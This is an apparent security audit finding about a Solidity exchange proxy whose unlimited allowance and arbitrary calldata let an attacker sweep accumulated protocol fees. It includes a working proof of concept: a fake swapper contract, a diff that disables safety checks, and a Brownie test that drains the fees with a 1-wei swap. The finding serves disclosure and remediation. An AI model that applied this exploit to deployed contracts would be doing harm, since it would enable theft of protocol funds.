GalloDaSballo

high

# H-01 - All Fees can be stolen by using them as input amounts - (Works on any exchange)

## Summary

Because of the lack of balances check on `executeSwap`, as well as the ability to pass arbitrary calldata into the function, in conjunction with infinite allowance for the `_tokenFrom`, we can use any swap to sweep the contract from all fees it accrued, unconditionally profiting from the swap at the detriment of the protocol.

## Vulnerability Detail

https://github.com/sherlock-audit/2022-10-mover/blob/main/cardtopup_contract/contracts/ExchangeProxy.sol#L87-L103

## Impact

Any token left in the contract (protocol fees) can be swept by using it as amountIn for the router, thanks to infinite allowance and arbitrary code execution.

## Code Snippet

The POC below has slightly simplified the in-scope code to avoid setting up extra contracts, but ultimately it's the fact that the contract gave allowance + allows arbitrary callData which allows us to use the fees as extra `amountIn` for the router, allowing us to indirectly sweep the fees away by using them for our own swap.

```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@oz/contracts/token/ERC20/IERC20.sol";
import "@oz/contracts/token/ERC20/utils/SafeERC20.sol";

/**
    @dev FakeSwapper with fixed ratio
*/
contract FakeSwapper {
  using SafeERC20 for IERC20;
  function doSwap(IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn) external returns (uint256 amountOut) {
    // Transfer In
    tokenIn.safeTransferFrom(msg.sender, address(this), amountIn);

    // 1 to 1 ratio to KIS
    amountOut = amountIn;

    // Pay out
    tokenOut.safeTransfer(msg.sender, amountOut);
  }
}
```

Exchange Proxy is changed to forward the data without trimming it for simplicity but without loss of generality, see diff below

```diff
-    constructor() {
-        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
-    }
+
 
     /**
         @dev modifier to allow only DEFAULT_ADMIN_ROLE access to certain methods
@@ -99,7 +97,8 @@ contract ExchangeProxy is AccessControl, IExchangeProxy, SafeAllowanceReset
             IERC20(_tokenFrom).safeTransferFrom(msg.sender, address(this), _amount);
         }
         // after token is transferred to this contract, call actual swap
-        return executeSwapDirect(msg.sender, _tokenFrom, _tokenTo, _amount, 0, _data);
+        // Adding 5e16 for fee (5%)
+        return executeSwapDirect(msg.sender, _tokenFrom, _tokenTo, _amount, 5e16, _data);
     }
 
     /**
@@ -128,6 +127,16 @@ contract ExchangeProxy is AccessControl, IExchangeProxy, SafeAllowanceReset
          swap that directly transfers swapped tokens to beneficiary, and amounts should be present on this contract
          this contract should contain only exchange fees (if enabled) other funds are tranferred within single transaction
     */
+
+    address public executorAddress;
+    address public spenderAddress;
+
+    constructor(address newExecutorAddress) {
+        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
+        executorAddress = newExecutorAddress;
+        spenderAddress = newExecutorAddress;
+    }
+
     function executeSwapDirect(
         address _beneficiary,
         address _tokenFrom,
@@ -136,23 +145,23 @@ contract ExchangeProxy is AccessControl, IExchangeProxy, SafeAllowanceReset
         uint256 _exchangeFee,
         bytes memory _data
     ) public payable override returns (uint256) {
-        require(msg.sender == transferProxyAddress, "transfer proxy only");
+        // require(msg.sender == transferProxyAddress, "transfer proxy only");
 
         // extract values from bytes array provided
-        address executorAddress;
-        address spenderAddress;
-        uint256 ethValue;
-
-        bytes memory callData = ByteUtil.slice(_data, 72, _data.length - 72);
-        assembly {
-            executorAddress := mload(add(_data, add(0x14, 0)))
-            spenderAddress := mload(add(_data, add(0x14, 0x14)))
-            ethValue := mload(add(_data, add(0x20, 0x28)))
-        }
+        // address executorAddress;
+        // address spenderAddress;
+        // uint256 ethValue;
+
+        // bytes memory callData = ByteUtil.slice(_data, 72, _data.length - 72);
+        // assembly {
+        //     executorAddress := mload(add(_data, add(0x14, 0)))
+        //     spenderAddress := mload(add(_data, add(0x14, 0x14)))
+        //     ethValue := mload(add(_data, add(0x20, 0x28)))
+        // }
 
         // allow spender to transfer tokens from this contract
         if (_tokenFrom != ETH_TOKEN_ADDRESS && spenderAddress != address(0)) {
-            require(trustedRegistryContract.isWhitelisted(spenderAddress), "allowance to non-trusted");
+            // require(trustedRegistryContract.isWhitelisted(spenderAddress), "allowance to non-trusted");
             resetAllowanceIfNeeded(IERC20(_tokenFrom), spenderAddress, _amount);
         }
 
@@ -165,13 +174,13 @@ contract ExchangeProxy is AccessControl, IExchangeProxy, SafeAllowanceReset
         }
 
         // regardless of stated amount, the ETH value passed to exchange call must be provided to the contract
-        require(msg.value >= ethValue, "insufficient ETH provided");
+        // require(msg.value >= ethValue, "insufficient ETH provided");
 
         // don't allow to call non-trusted addresses
-        require(trustedRegistryContract.isWhitelisted(executorAddress), "call to non-trusted");
+        // require(trustedRegistryContract.isWhitelisted(executorAddress), "call to non-trusted");
 
         // ensure no state passed, no reentrancy, etc.
-        (bool success, ) = executorAddress.call{value: ethValue}(callData);
+        (bool success, ) = executorAddress.call{value: msg.value}(_data);
         require(success, "SWAP_CALL_FAILED");
 
         // always rely only on actual amount received regardless of called parameters
```

Brownie test case that shows how attacker can run away with all of the fees

```python
from brownie import ERC20USDCMock, a, FakeSwapper, ExchangeProxy
import pytest

"""
  Deploy swapper proxy - 
  Deploy fake swapper (calldata tells it what to return) - 

  Perform first Genuine Swap
    Some fees left-over
  
  Perform second Swap, steal fees
    Some fees are left-over but the majority has been stolen
"""

@pytest.fixture()
def customer():
  """
    Genuine customer will proper swap
  """

  return a[0]





@pytest.fixture()
def swapper():
  """
    FakeSwapper ##TDO
  """
  ex = FakeSwapper.deploy({"from": a[0]})

  return ex


@pytest.fixture()
def exchange_proxy(swapper):
  """
    In scope contract that is vulnerable
    Edited to receive swapper instead of it being passed via asm
  """

  proxy = ExchangeProxy.deploy(swapper, {"from": a[9]})

  return proxy

@pytest.fixture()
def token_in(customer):
  """
    Token we will sell
  """
  token_in = ERC20USDCMock.deploy({"from": customer})

  return token_in

@pytest.fixture()
def token_out(swapper, token_in):
  """
    Token we will steal
  """

  token_out = ERC20USDCMock.deploy({"from": swapper})
  token_in.mint(swapper, 1e24, {"from": swapper})

  return token_out


@pytest.fixture()
def attacker(token_out):
  """
    Genuine customer will proper swap
  """

  attacker = a[1]
  
  ## Only 1 token to show how we can steal way more
  ## As long as we receive 1 wei of token we can steal everything minus fee of stolen tx
  ## By looping we can steal futher
  token_out.mint(attacker, 1)

  return a[1]

def test_steal_fees(token_in, token_out, exchange_proxy, swapper, customer, attacker):
  ## Ensure we can payout
  assert token_out.balanceOf(swapper) > 0


  ## == Perform first genuine swap == ##

  ## Verify we have no out
  assert token_out.balanceOf(customer) == 0
  ## Verify proxy has no fees
  assert token_out.balanceOf(exchange_proxy) == 0

  amount_in = 10_000
  ## approve
  token_in.approve(exchange_proxy, amount_in, {"from": customer})

  ## Setup calldata for genuine tx which generates fees
  data = swapper.doSwap.encode_input(token_in, token_out, amount_in)
  
  

  exchange_proxy.executeSwap(token_in, token_out, amount_in, data, {"from": customer})

  ## Ensure swap happened as intended
  ## Verify we got out
  assert token_out.balanceOf(customer) > 0

  ## Some fees are in contract
  fees = token_out.balanceOf(exchange_proxy)



  ## == Execute the attack == ##
    ## Setup calldata for genuine tx which generates fees
  
  ## We'll send 1 wei
  attack_amount_in = 1

  assert token_out.balanceOf(attacker) == attack_amount_in
  assert token_in.balanceOf(attacker) == 0

  token_out.approve(exchange_proxy, attack_amount_in, {"from": attacker})

  ## Swap the whole amount
  data_attack = swapper.doSwap.encode_input(token_out, token_in, fees + attack_amount_in)

  ## We'll receive the swap from both the amount_in + fees
  exchange_proxy.executeSwap(token_out, token_in, attack_amount_in, data_attack, {"from": attacker})

  ## We stole the fees
  assert token_out.balanceOf(exchange_proxy) == 0

  ## And attacker is running away with them
  assert token_in.balanceOf(attacker) > 0
```

If fees are high enough, an attacker can perform this both ways and multiple times to eventually leave dust amounts of fees

## Tool used

Manual Review

## Recommendation

I believe checking for balance of both tokenIn and tokenOut may be a good idea.

Alternatively granting exactly and exclusively the allowance from `amountIn` may be sufficient to avoid moving tokens that belong to the contract.
